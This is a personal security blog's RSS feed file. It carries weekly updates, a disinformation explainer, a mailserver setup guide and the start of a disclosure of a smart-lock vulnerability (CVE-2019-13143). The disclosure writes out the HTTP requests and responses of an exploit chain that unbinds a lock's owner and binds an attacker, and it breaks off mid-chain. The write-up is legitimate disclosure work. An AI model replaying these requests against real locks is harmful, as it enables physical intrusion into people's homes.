all repos — site @ 89b7469a4f95dfe4ba33e7a709c00cb8f67f3eb5

source for my site, found at icyphox.sh

pages/blog/feed.xml (view raw)

   1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
   2  <channel>
   3    <title>icyphox's blog</title>
   4	<link>https://icyphox.sh/blog/</link>
   5    <description>Security, forensics and privacy.</description>
   6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
   7    <image>
   8		<title>icyphox logo</title>
   9      <url>https://icyphox.sh/icyphox.png</url>
  10	  <link>https://icyphox.sh/blog/</link>
  11    </image>
  12    <language>en-us</language>
  13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
  14    <item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It&#8217;s a lazy Friday afternoon here; yet another off day this week thanks to my
  15uni&#8217;s fest. My last &#8220;weekly&#8221; update was 10 days ago, and a lot has happened
  16since then. Let&#8217;s get right into it!</p>
  17
  18<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
  19
  20<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
  21
  22<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
  23<span class="m">3817</span>
  24
  25<span class="c1"># or something in that ballpark</span>
  26</code></pre></div>
  27
  28<p>I&#8217;ve been wanting to reduce my system&#8217;s package count.</p>
  29
  30<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
  31sane package manager. I did come across Dylan Araps&#8217;
  32<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
  33for me (and still relatively new). I finally settled on
  34<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
  35
  36<blockquote>
  37  <p>Alpine Linux is a security-oriented, lightweight Linux distribution based 
  38  on musl libc and busybox.</p>
  39</blockquote>
  40
  41<p>The installation was a breeze, and I was quite surprised to see WiFi working
  42OOTB. In the past week of my using this distro, the only major hassle I faced
  43was getting my Minecraft launcher to run. The JRE isn&#8217;t fully ported to <code>musl</code>
  44yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
  45soon. (hint: it involves chroots)</p>
  46
  47<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
  48
  49<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
  50
  51<p>On a related note, I&#8217;ve been busy packaging some of the stuff I use for Alpine
  52&#8211; you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
  53repository if you&#8217;re interested. I&#8217;m currently working on packaging Nim too, so
  54keep an eye out for that in the coming week.</p>
  55
  56<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
  57
  58<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
  59going to be speaking at PyCon India about our recent smart lock security
  60research. The conference is happening in Chennai, much to our convenience.
  61If you&#8217;re attending too, hit me up on Twitter and we can hang!</p>
  62
  63<h3 id="other">Other</h3>
  64
  65<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
  66strong, my reading however, hasn&#8217;t. I have <em>yet</em> to finish those books! This
  67week, for sure.</p>
  68
  69<p>Musically, I&#8217;ve been experimenting. I tried a bit of hip-hop and chilltrap, and
  70I think I like it? I still find myself coming back to metalcore/deathcore.
  71Here&#8217;s a list of artists I discovered (and liked) recently:</p>
  72
  73<ul>
  74<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
  75<li>生 Conform 死 (couldn&#8217;t find any official YouTube video, check Spotify)</li>
  76<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
  77<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
  78<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
  79</ul>
  80
  81<p>That&#8217;s it for now, I&#8217;ll see you next week!</p>
  82
  83<div class="footnotes">
  84<hr />
  85<ol>
  86<li id="fn-1">
  87<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a>&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
  88</li>
  89</ol>
  90</div>
  91]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
  92and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
  93every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
  94a format for this, but it will probably include a quick summary of the work I did,
  95things I read, IRL stuff, etc.</p>
  96
  97<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>
  98
  99<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
 100
 101<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
 102the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
 103It creates a small community of sites and enables sharing of traffic among these sites.
 104The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
 105of those sites are beautiful. Mine pales in comparison.</p>
 106
 107<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
 108called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
 109and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
 110twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
 111
 112<p>Which brings me to the next thing I did this/last week.</p>
 113
 114<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
 115
 116<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
 117As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
 118authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
 119It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
 120of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
 121
 122<h3 id="other">Other</h3>
 123
 124<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
 125Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
 126It&#8217;s pretty good &#8211; each episode is only about 30 mins and it hits the sweet spot,
 127delvering both interesting security content and news.</p>
 128
 129<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
 130&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>
 131
 132<p>I&#8217;ve begun learning Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
 133easy to pick up. Learning the Cyrillic script will require some relearning, especially
 134with letters like в, н, р, с, etc. that look like English but sound entirely different.
 135I think I&#8217;m pretty serious about learning this language &#8211; I&#8217;ve added the Russian keyboard
 136to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
 137layout to my keyboard map too:</p>
 138
 139<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
 140</code></pre>
 141
 142<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
 143]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
 144According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
 145<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
 146derived from the title of a KGB black propaganda department.</p>
 147
 148<blockquote>
 149  <p>Disinformation is false information spread deliberately to deceive.</p>
 150</blockquote>
 151
 152<p>To fully understand disinformation, especially in the modern age, we need to understand the
 153key factors of any successful disinformation operation:</p>
 154
 155<ul>
 156<li>creating disinformation (what)</li>
 157<li>the motivation behind the op, or its end goal (why)</li>
 158<li>the medium used to disperse the falsified information (how)</li>
 159<li>the actor (who)</li>
 160</ul>
 161
 162<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
 163
 164<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
 165forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>
 166
 167<h3 id="creating-disinformation">Creating disinformation</h3>
 168
 169<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
 170of any disinformation sample is a huge indicator of the level of sophistication of the
 171actor involved, i.e. is it a 12 year old troll or a nation state?</p>
 172
 173<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
 174The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
 175To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
 176nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
 177geography and psychology is required. It also needs circumstantial and situational awareness,
 178of the target.</p>
 179
 180<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
 181recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>
 182
 183<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
 184imagery:</p>
 185
 186<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
 187<p lang="en" dir="ltr">Disinformation.
 188<br><br>
 189The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
 190<br><br>Recontextualisation as threat vector. 
 191<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
 192</p>&mdash; thaddeus e. grugq (@thegrugq) 
 193<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
 194</blockquote>
 195
 196<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 
 197
 198<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
 199
 200<p>I like to broadly categorize any info op as either proactive or reactive. 
 201Proactively, disinformation is spread with the desire to influence the target
 202either before or during the occurence of an event. This is especially observed
 203during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
 204In offensive information operations, the target&#8217;s psychological state can be affected by
 205spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>
 206
 207<p>Reactive disinformation is when the actor, usually a nation state in this case,
 208screws up and wants to cover their tracks. A fitting example of this is the case
 209of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
 210eastern Ukraine. This tragic incident has been attributed to Russian-backed 
 211separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
 212Russian media is known to have desseminated a number of alternative &amp; some even
 213conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
 214Investigation Team) investigations pointed towards the separatists. 
 215The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
 216potentially correct information takes a credibility hit.</p>
 217
 218<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
 219in totalitarian regimes; when the government decides what the media portrays to the
 220masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
 221
 222<blockquote>
 223  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
 224  namely from the United States, and what they have called criminal Hong Kong thugs.
 225  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
 226  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
 227  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
 228  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
 229  &#8230;</p>
 230</blockquote>
 231
 232<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
 233
 234<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
 235play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
 236popularity.</p>
 237
 238<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
 239generate activity programmatically via the API, Twitter bots are the go-to choice today for 
 240info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
 241to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
 242get realtime insights into what sticks and what doesn&#8217;t.
 243The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
 244factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
 245to create discussions about alternative theories.</p>
 246
 247<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
 248actively invest in creating group chats to spread political messages and memes. These parties
 249have volunteers whose sole job is to sit and forward messages.
 250Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
 251this is disinformation without a motive, or the motive is hard to determine simply because
 252the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
 253This is a difficult problem to combat, especially given the nature of the target audience.</p>
 254
 255<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
 256
 257<p>I doubt this requires further elaboration, but in short:</p>
 258
 259<ul>
 260<li>nation states and their intelligence agencies</li>
 261<li>governments, political parties</li>
 262<li>other non/quasi-governmental groups</li>
 263<li>trolls</li>
 264</ul>
 265
 266<p>This essentially sums up the what, why, how and who of disinformation. </p>
 267
 268<h3 id="personal-opsec">Personal OPSEC</h3>
 269
 270<p>This is a fun one. Now, it&#8217;s common knowledge that
 271<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
 272afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
 273lead to your OPSEC being compromised.
 274So if you really have to, you can feign activity using disinformation. For example,
 275pick a place, and throw in subtle details pertaining to the weather, local events
 276or regional politics of that place into your disinfo. Assuming this is Twitter, you can
 277tweet stuff like:</p>
 278
 279<ul>
 280<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
 281<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
 282<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
 283</ul>
 284
 285<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>
 286
 287<p>And please, don&#8217;t do this:</p>
 288
 289<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
 290
 291<h3 id="conclusion">Conclusion</h3>
 292
 293<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
 294scary. There is no simple way to combat disinformation. Social media is hard to control.
 295Just like anything else in cyber, this too is an endless battle between social media corps
 296and motivated actors.</p>
 297
 298<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
 299folks see the truth in a post-truth world.</p>
 300
 301<div class="footnotes">
 302<hr />
 303<ol>
 304<li id="fn-1">
 305<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 306</li>
 307
 308<li id="fn-2">
 309<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 310</li>
 311
 312<li id="fn-3">
 313<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 314</li>
 315
 316<li id="fn-4">
 317<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
 318</li>
 319
 320<li id="fn-5">
 321<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
 322</li>
 323</ol>
 324</div>
 325]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
 326around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
 327I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 328
 329<p>For this attempt, I wanted a simpler approach. I recall how terribly
 330confusing Dovecot &amp; Postfix were to configure and hence I decided to look
 331for a containerized solution, that most importantly, runs on my cheap $5 
 332Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
 333is actually available. So yeah, <em>pretty</em> tight.</p>
 334
 335<h3 id="whats-available">What&#8217;s available</h3>
 336
 337<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
 338These are the ones I came across:</p>
 339
 340<ul>
 341<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
 342and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
 343<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
 344but ships with a web UI that I didn&#8217;t need. </p></li>
 345<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
 346they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
 347<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
 348a mention. It however, needs a fresh box to work with. A box with absolutely 
 349nothing else on it. I can&#8217;t afford to do that.</p></li>
 350<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
 351</ul>
 352
 353<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
 354
 355<p>The first thing that caught my eye in the README:</p>
 356
 357<blockquote>
 358  <p>Recommended:</p>
 359  
 360  <ul>
 361  <li>1 CPU</li>
 362  <li>1GB RAM</li>
 363  </ul>
 364  
 365  <p>Minimum:</p>
 366  
 367  <ul>
 368  <li>1 CPU</li>
 369  <li>512MB RAM</li>
 370  </ul>
 371</blockquote>
 372
 373<p>Fantastic, I can somehow squeeze this into my existing VPS.
 374Setup was fairly simple &amp; the docs are pretty good. It employs a single
 375<code>.env</code> file for configuration, which is great.
 376However, I did run into a couple of hiccups here and there.</p>
 377
 378<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
 379of memory.</p>
 380
 381<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
 382</code></pre>
 383
 384<p>But it eventually worked after a couple of attempts.</p>
 385
 386<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
 387the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
 388<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
 389isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
 390a <code>TXT</code> record. </p>
 391
 392<p>This is what it looks like.</p>
 393
 394<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
 395      "p=&lt;key&gt;"
 396      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
 397</code></pre>
 398
 399<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
 400and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
 401Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
 402
 403<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
 404point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
 405<code>A</code> record.
 406You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
 407uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
 408And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
 409your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
 410I learnt this part the hard way, when my outgoing email kept getting
 411rejected by Tutanota&#8217;s servers.</p>
 412
 413<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
 414documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
 415and look at an example. In short, install <code>certbot</code>, have port 80 free,
 416and run </p>
 417
 418<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
 419</code></pre></div>
 420
 421<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
 422the container, something like so:</p>
 423
 424<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
 425
 426<span class="nt">volumes</span><span class="p">:</span>
 427    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
 428    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
 429    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
 430    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
 431
 432<span class="nn">...</span>
 433</code></pre></div>
 434
 435<p>With this done, you shouldn&#8217;t have mail clients complaining about 
 436wonky certs for which you&#8217;ll have to add an exception manually.</p>
 437
 438<h3 id="why-would-you">Why would you…?</h3>
 439
 440<p>There are a few good reasons for this:</p>
 441
 442<h4 id="privacy">Privacy</h4>
 443
 444<p>No really, this is <em>the</em> best choice for truly private
 445email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
 446dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
 447
 448<blockquote>
 449  <p>Truly secure systems do not require you to trust the service provider.</p>
 450</blockquote>
 451
 452<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
 453how can you really be sure that it isn&#8217;t a backdoored version of it?</p>
 454
 455<p>When you host your own mailserver, you truly own your email without having to rely on any
 456third-party.
 457This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
 458threat model™.</p>
 459
 460<h4 id="decentralization">Decentralization</h4>
 461
 462<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
 463active users. That&#8217;s obscene.
 464Email was designed to be decentralized but big corps swooped in and
 465made it a product. They now control your data, and it isn&#8217;t unknown that
 466Google reads your mail. This again loops back to my previous point, privacy.
 467Decentralization guarantees privacy. When you control your mail, you subsequently
 468control who reads it.</p>
 469
 470<h4 id="personalization">Personalization</h4>
 471
 472<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>
 473
 474<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
 475
 476<p>Pfft, this is no competition.</p>
 477
 478<div class="footnotes">
 479<hr />
 480<ol>
 481<li id="fn-1">
 482<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 483</li>
 484
 485<li id="fn-2">
 486<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 487</li>
 488
 489<li id="fn-3">
 490<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 491</li>
 492</ol>
 493</div>
 494]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 495
 496<h3 id="the-lock">The lock</h3>
 497
 498<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 499Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 500across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 501
 502<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 503the Play/App Store to function. The app requires the user to create an
 504account before further functionality is available. 
 505It also facilitates configuring the fingerprint,
 506and unlocking from a range via Bluetooth.</p>
 507
 508<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 509and the Android app.</p>
 510
 511<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 512
 513<p>Android phones have the ability to capture Bluetooth (HCI) traffic
 514which can be enabled under Developer Options under Settings. We made 
 515around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
 516
 517<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
 518
 519<p>This is the value sent in the <code>Write</code> request:</p>
 520
 521<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
 522
 523<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
 524but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 525
 526<h3 id="via-the-android-app">Via the Android app</h3>
 527
 528<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
 529far since most of it was obfuscated. Why bother when there exists an 
 530easier approach &#8211; BurpSuite.</p>
 531
 532<p>We captured and played around with a bunch of requests and responses,
 533and finally arrived at a working exploit chain.</p>
 534
 535<h3 id="the-exploit">The exploit</h3>
 536
 537<p>The entire exploit is a 4 step process consisting of authenticated 
 538HTTP requests:</p>
 539
 540<ol>
 541<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
 542vicinity), get the barcode and lock ID</li>
 543<li>Using the barcode, fetch the user ID</li>
 544<li>Using the lock ID and user ID, unbind the user from the lock</li>
 545<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
 546to the lock</li>
 547</ol>
 548
 549<p>This is what it looks like, in essence (personal info redacted).</p>
 550
 551<h4 id="request-1">Request 1</h4>
 552
 553<pre><code>POST /oklock/lock/queryDevice
 554{"mac":"XX:XX:XX:XX:XX:XX"}
 555</code></pre>
 556
 557<p>Response:</p>
 558
 559<pre><code>{
 560   "result":{
 561      "alarm":0,
 562      "barcode":"&lt;BARCODE&gt;",
 563      "chipType":"1",
 564      "createAt":"2019-05-14 09:32:23.0",
 565      "deviceId":"",
 566      "electricity":"95",
 567      "firmwareVersion":"2.3",
 568      "gsmVersion":"",
 569      "id":&lt;LOCK ID&gt;,
 570      "isLock":0,
 571      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 572      "lockPwd":"000000",
 573      "mac":"XX:XX:XX:XX:XX:XX",
 574      "name":"lock",
 575      "radioName":"BlueFPL",
 576      "type":0
 577   },
 578   "status":"2000"
 579}
 580</code></pre>
 581
 582<h4 id="request-2">Request 2</h4>
 583
 584<pre><code>POST /oklock/lock/getDeviceInfo
 585
 586{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
 587</code></pre>
 588
 589<p>Response:</p>
 590
 591<pre><code>   "result":{
 592      "account":"email@some.website",
 593      "alarm":0,
 594      "barcode":"&lt;BARCODE&gt;",
 595      "chipType":"1",
 596      "createAt":"2019-05-14 09:32:23.0",
 597      "deviceId":"",
 598      "electricity":"95",
 599      "firmwareVersion":"2.3",
 600      "gsmVersion":"",
 601      "id":&lt;LOCK ID&gt;,
 602      "isLock":0,
 603      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 604      "lockPwd":"000000",
 605      "mac":"XX:XX:XX:XX:XX:XX",
 606      "name":"lock",
 607      "radioName":"BlueFPL",
 608      "type":0,
 609      "userId":&lt;USER ID&gt;
 610   }
 611</code></pre>
 612
 613<h4 id="request-3">Request 3</h4>
 614
 615<pre><code>POST /oklock/lock/unbind
 616
 617{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
 618</code></pre>
 619
 620<h4 id="request-4">Request 4</h4>
 621
 622<pre><code>POST /oklock/lock/bind
 623
